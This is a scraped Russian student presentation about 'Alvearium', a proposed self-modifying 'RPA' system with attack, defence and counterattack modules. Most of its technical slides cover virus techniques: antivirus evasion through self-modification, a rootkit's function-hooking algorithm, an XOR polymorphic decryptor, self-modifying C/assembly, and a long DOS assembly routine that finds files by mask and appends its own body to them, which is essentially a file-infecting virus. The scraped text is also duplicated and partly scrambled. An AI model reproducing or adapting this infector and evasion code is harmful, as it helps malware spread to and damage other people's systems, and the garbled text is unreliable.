Скачать презентацию Alvearium адаптивная система с саморазвивающимся кодом RPA Скачать презентацию Alvearium адаптивная система с саморазвивающимся кодом RPA

Alvearium.pptx

  • Количество слайдов: 19

Alvearium – адаптивная система с саморазвивающимся кодом RPA Кафедра защищенных систем связи Штеренберг Станислав Alvearium – адаптивная система с саморазвивающимся кодом RPA Кафедра защищенных систем связи Штеренберг Станислав Игоревич

С чего началась идея создания Alvaerium? С чего началась идея создания Alvaerium?

С чего началась идея создания Alvaerium? С чего началась идея создания Alvaerium?

Попытки создания ИИ. • ИСКУССТВЕННЫЙ ИНТЕЛЛЕКТ ИЗУЧАЕТ МЕТОДЫ РЕШЕНИЯ ЗАДАЧ, ТРЕБУЮЩИХ ЧЕЛОВЕЧЕСКОГО ПОНИМАНИЯ. • Попытки создания ИИ. • ИСКУССТВЕННЫЙ ИНТЕЛЛЕКТ ИЗУЧАЕТ МЕТОДЫ РЕШЕНИЯ ЗАДАЧ, ТРЕБУЮЩИХ ЧЕЛОВЕЧЕСКОГО ПОНИМАНИЯ. • ИСКУССТВЕННЫЙ ИНТЕЛЛЕКТ ИЗУЧАЕТ МЕТОДЫ РЕШЕНИЯ ЗАДАЧ, ДЛЯ КОТОРЫХ НЕ СУЩЕСТВУЕТ СПОСОБОВ РЕШЕНИЯ ИЛИ ОНИ НЕ КОРРЕКТНЫ • ИСКУССТВЕННЫЙ ИНТЕЛЛЕКТ ЗАНИМАЕТСЯ МОДЕЛИРОВАНИЕМ ЧЕЛОВЕЧЕСКОГО ВЫСШЕЙ НЕРВНОЙ ДЕЯТЕЛЬНОСТИ • ИСКУССТВЕННЫЙ ИНТЕЛЛЕКТ - ЭТО СИСТЕМЫ, КОТОРЫЕ МОГУТ ОПЕРИРОВАТЬ СО ЗНАНИЯМИ , А ГЛАВНОЕ - УЧИТЬСЯ. • ПОСЛЕДНИЙ ПОДХОД, КОТОРЫЙ НАЧАЛ РАЗВИВАТЬСЯ С 1990 -Х ГОДОВ , НАЗЫВАЕТСЯ АГЕНТНО-ОРИЕНТИРОВАННЫМ ПОДХОДОМ.

Чего не хватает? Чего не хватает?

Чего не хватает? Чего не хватает?

Начало формирования адаптивной системы 1. ЦИКЛИЧЕСКОЕ УСОВЕРШЕНСТВОВАНИЕ ПРОГРАММЫ ИЛИ ЕЕ АЛГОРИТМА. 2. В СЛУЧАЕ Начало формирования адаптивной системы 1. ЦИКЛИЧЕСКОЕ УСОВЕРШЕНСТВОВАНИЕ ПРОГРАММЫ ИЛИ ЕЕ АЛГОРИТМА. 2. В СЛУЧАЕ ВИРУСНОЙ ПРОГРАММЫ ТАКОЙ ПОДХОД МОЖЕТ ИСПОЛЬЗОВАТЬСЯ ДЛЯ МОДИФИКАЦИИ СВОЕГО КОДА ПРИ ПЕРЕХОДЕ НА НОВУЮ МАШИНУ И ОБХОДА, ТАКИМ ОБРАЗОМ, АНТИВИРУСОВ. 3. ПРОГРАММА МОЖЕТ ЗАПОМИНАТЬ КОНКРЕТНОГО ПОЛЬЗОВАТЕЛЯ И ПОДСТРАИВАТЬСЯ ПОД НЕГО. 4. ПРОГРАММА МОЖЕТ ПОПЫТАТЬСЯ НАЙТИ В СЕТИ ИНТЕРНЕТ ИСХОДНЫЙ КОД НОВОГО РЕШЕНИЯ КАКОЙ -ТО ИЗ СВОИХ ФУНКЦИЙ, ЗАГРУЗИТЬ ЕГО, СООТВЕТСТВУЮЩИМ ОБРАЗОМ ИЗМЕНИТЬ СВОЙ КОД С УЧЕТОМ НОВОЙ РЕАЛИЗАЦИИ ДАННОЙ ФУНКЦИИ И ПОПРОБОВАТЬ ОТКОМПИЛИРОВАТЬ И ПРОВЕРИТЬ РАБОТУ НОВОЙ КОПИИ. Передача особого кода RPA Последующая реализация адаптивной интеллектуально й системы для автоматизации защиты приложений Стеганографичес кое сокрытие передаваемого файла Cerebro Реализация иммунной адаптивной защиты приложения Реализация принятия решения о контратаке нарушителя Реализация возможности накопления «знания» в базу данных

Руткит Алгоритм работы руткита: • В теле перехватчика создается массив, в который записываются первые Руткит Алгоритм работы руткита: • В теле перехватчика создается массив, в который записываются первые N байт каждой из перехваченных функций (обычно размер модифицированного кода не превышает 20 байт) • Массив заполняется эталонным машинным кодом перехватываемых функций. • В начало каждой перехватываемой функции записывается код, осуществляющий передачу управления перехватчику. • Алгоритм работы перехватчика: • Последовательность действий, определенных злоумышленником. • Восстановление первых N байт перехваченной функции. • Вызов перехваченной функции. • Повторная модификация машинного кода перехваченной функции: перезапись кода, передающего управление перехватчику, в первые байты. • Анализ и, при необходимости, модификация результатов выполнения исходной функции. • Выполнение операции ret, возвращение управления вызвавшей функцию программе. Полиморфный вирус Один из самых простых способов реализации полиморфизма — побайтное шифрование операцией xor mov cx, code_length mov si, offset begin_code mov al, xor_key _loop: xor [si+cx], al ; расшифровываем байт loop _loop ; берем следующий байт jmp si ; . . . begin_code: ; тут находится зашифрованная часть тела вируса ; именно она ответственна за заражение новых файлов ; и формирование новой процедуры расшифровки ; при этом эта же часть тела вируса в новом файле должна быть заново ; зашифрована, но уже с другим ключом

//определяем размер самомодифицирующейся функции #define SELF_SIZE ((int) x_self_mod_end - (int) x_self_mod_code) //начало самомодифицирующейся функции //определяем размер самомодифицирующейся функции #define SELF_SIZE ((int) x_self_mod_end - (int) x_self_mod_code) //начало самомодифицирующейся функции //спецификатор naked, поддерживаемый компилятором MS VC, //указывает компилятору на необходимость создания чистой //ассемблерной функции, то есть такой функции, куда компилятор //не внедряет никакой отсебятины __declspec( naked ) int x_self_mod_code(int a, int b ) { __asm{ begin_sm: ; начало самомодифицирующегося кода mov eax, [esp+4] ; получаем первый аргумент call get_eip ; определяем свое текущее положение в памяти get_eip: add eax, [esp + 8 + 4] ; складываем/вычитаем из первого аргумента второй pop edx ; в edx адрес начала инструкции add eax, … xor byte ptr [edx], 28 h ; меняем add на sub и наоборот ret ; возвращаемся в материнскую функцию } } x_self_mod_end(){/* конец самомодифицирующейся функции */ } main() { int a; int (__cdecl *self_mod_code)(int a, int b); // раскомментируй следующую строку, чтобы убедиться, что непосредственная // самомодификация под Windows невозможна (система выплюнет исключение) // self_mod_code(4, 2); // выделяем память из кучи (в куче модификация кода разрешена) // с таким же успехом мы могли бы выделить память из стека: // self_mod_code[SELF_SIZE]; self_mod_code = (int (__cdecl*)(int, int)) malloc(SELF_SIZE); // копируем самомодифицирующийся код в стек/кучу memcpy(self_mod_code, x_self_mod_code, SELF_SIZE); // вызываем самомодифицирующуюся процедуру 10 раз for (a = 1; a< 10; a++) printf("%02 X ", self_mod_code(4, 2)); printf("n"); }

Взаимодействие с ЛВС Объединен ы Сервер 1 Упр а вле н ие Cerebro + Взаимодействие с ЛВС Объединен ы Сервер 1 Упр а вле н ие Cerebro + medic Система Alvearium интегрирована на двух объединенных серверах. Имеет возможность посылать данные и сообщаться с защищаемой системой. Сервер 2 БД (solder + worker) W or ke So r – в на lde за па r – им де в од ни заи ей я мо ст де ви йс е тв с п ие ер с ед си ач ст ей ем д ам ан и ны за х щ ит ы и REX Программа управления ПК ПК Система REX интегрирована на одной ПУ АРМ администратора и взаимодействует только с системами RPA для непосредственного управления ей. ПК ПК ЛВС ПК ПК Планируемая область ЗИ. Здесь может быть развернуто различное ПО, СКЗИ и т. д. Все это важно для первоначальной стадии обучения RPA.

Взаимодействие с базой данных Сервер 2 БД Компоненты ПО Адаптивной системы Журналы действий Solder Взаимодействие с базой данных Сервер 2 БД Компоненты ПО Адаптивной системы Журналы действий Solder worker Сектора кодов Средства информационной борьбы «Холодильник» Неиспользуемый резерв Solder worker Антивирусное ПО Вредоносные коды

RPA-cerebro Сервер 2 – хранение основных опт-кодов Реестры опт-кодов medic solder worker База данных RPA-cerebro Сервер 2 – хранение основных опт-кодов Реестры опт-кодов medic solder worker База данных В стек ? ? ? REX Программа управления АРМ Состав реестр опт-кодов: 1. Medic – составная часть кодов RPA отвечающая за поддержание и восстановление системы 2. Solder - составная часть кодов RPA отвечающая за нападение и защиты в ЛВС 3. Worker составная часть кодов RPA отвечающая за доставку важных сегментов кода, а также исследовательская деятельность ЛВС Сервер 1 Сегменты кодов Набор инструкций Область хранения Защищенная сеть Сервер 1 – область хранения головного сегмента RPAcerebro Интернет

RPA-worker installer База данных Integrator (внедрение в систему) Сообщающие данные Lea dx, input (пример RPA-worker installer База данных Integrator (внедрение в систему) Сообщающие данные Lea dx, input (пример кода сообщения для частого применения) Idem-physicus (распределитель знаний по базе данных) опт-код Анализ данных для Cerebro search Интернет

RPA-solder Сообщающий вход в систему данных EXAMPLE ACTUAL SPY Нападение Хранение «замороженных кодов вирусов» RPA-solder Сообщающий вход в систему данных EXAMPLE ACTUAL SPY Нападение Хранение «замороженных кодов вирусов» , типы вредоносного поражения Защита База данных Особый сегмент в журнале о совершенных действиях Использование технологии GRID Данные о сигнатурах, способы лечения, карантин В архитектуре GRID выделяют следующие уровни: • базовый – содержит ресурсы, например, компьютеры; • связывающий – определяет протоколы; • ресурсный – организует взаимодействие с ресурсами и управление ими; • коллективный – диагностика, мониторг; • прикладной – инструментарий (приложения) для работы с грид.

CSEG segment assume cs: CSEG, ds: CSEG, es: CSEG, ss: CSEG org 100 h CSEG segment assume cs: CSEG, ds: CSEG, es: CSEG, ss: CSEG org 100 h Begin: push offset Init ret dw 1122 h F_bytes equ $-offset Begin Open_file proc mov ax, 3 D 02 h mov dx, 1 Eh int 21 h mov Handle, ax mov bx, ax ret Handle dw 0 FFFFh Open_file endp Close_file proc cmp Handle, 0 FFFFh je No_close mov bx, Handle mov ah, 3 Eh int 21 h No_close: ret Close_file endp Find_first proc mov ah, 4 Eh xor cx, cx mov dx, offset Mask_file int 21 h ret Mask_file db '*. elf', 0 Find_first endp Find_next proc xor dx, dx xor cx, cx mov ah, 4 Fh int 21 h ret Find_next endp Stego_file proc mov ax, cs: [1 Ch] or ax, ax jnz Error_Stego mov bp, cs: [1 Ah] call Open_file jc Error_Stego mov ah, 3 Fh mov cx, F_bytes mov dx, offset Finish int 21 h jc Error_Stego mov bx, dx cmp word ptr [bx+4], 1122 h je Error_Stego mov ax, 4202 h mov bx, Handle xor cx, cx xor dx, dx int 21 h jc Error_Stego mov ah, 40 h mov cx, offset Finish-100 h-F_bytes mov dx, 100 h int 21 h jc Error_Stego mov ah, 40 h mov cx, F_bytes mov dx, offset Finish int 21 h jc Error_Stego call Close_file add bp, offset Init mov ss: [101 h], bp call Open_file mov ah, 40 h mov cx, F_bytes push ss pop ds mov dx, 100 h int 21 h push cs pop ds call Close_file clc ret Error_Stego: call Close_file stc ret Stego_file endp Stego: push ebp mov ebp, esp sub esp, 8 and esp, 0 fffffff 0 h mov eax, 0 sub esp, eax mov dword ptr [esp], strz_RPA_asm call Stego_file leave ret Init: pusha call Get_IP: pop ax sub ax, offset Get_IP push 0 BF 00 h pop es mov di, offset Open_file mov si, di add si, ax mov cx, offset Finish-offset Open_file rep movsb mov bx, offset Lab_return add bx, ax push cs push bx mov bx, offset Lab_jmp push 0 BF 00 h push bx retf Lab_jmp: push cs pop ds mov ah, 1 Ah xor dx, dx int 21 h call Find_first jc Nomore_files Inf_file: call Stego_file jnc Nomore_files call Find_next jnc Inf_file Nomore_files: mov si, offset First_bytes mov di, 100 h push ss pop es mov cx, F_bytes rep movsb retf Lab_return: push cs pop ds mov ah, 1 Ah mov dx, 80 h int 21 h popa push 100 h ret First_bytes db 4 dup (90 h), 0 CDh, 20 h Finish equ $ CSEG ends end Begin

using System; class СПАСИБО ЗА ВНИМАНИЕ { static void Main() { Console. Write( using System; class СПАСИБО ЗА ВНИМАНИЕ { static void Main() { Console. Write(" СПАСИБО ЗА ВНИМАНИЕ "); } }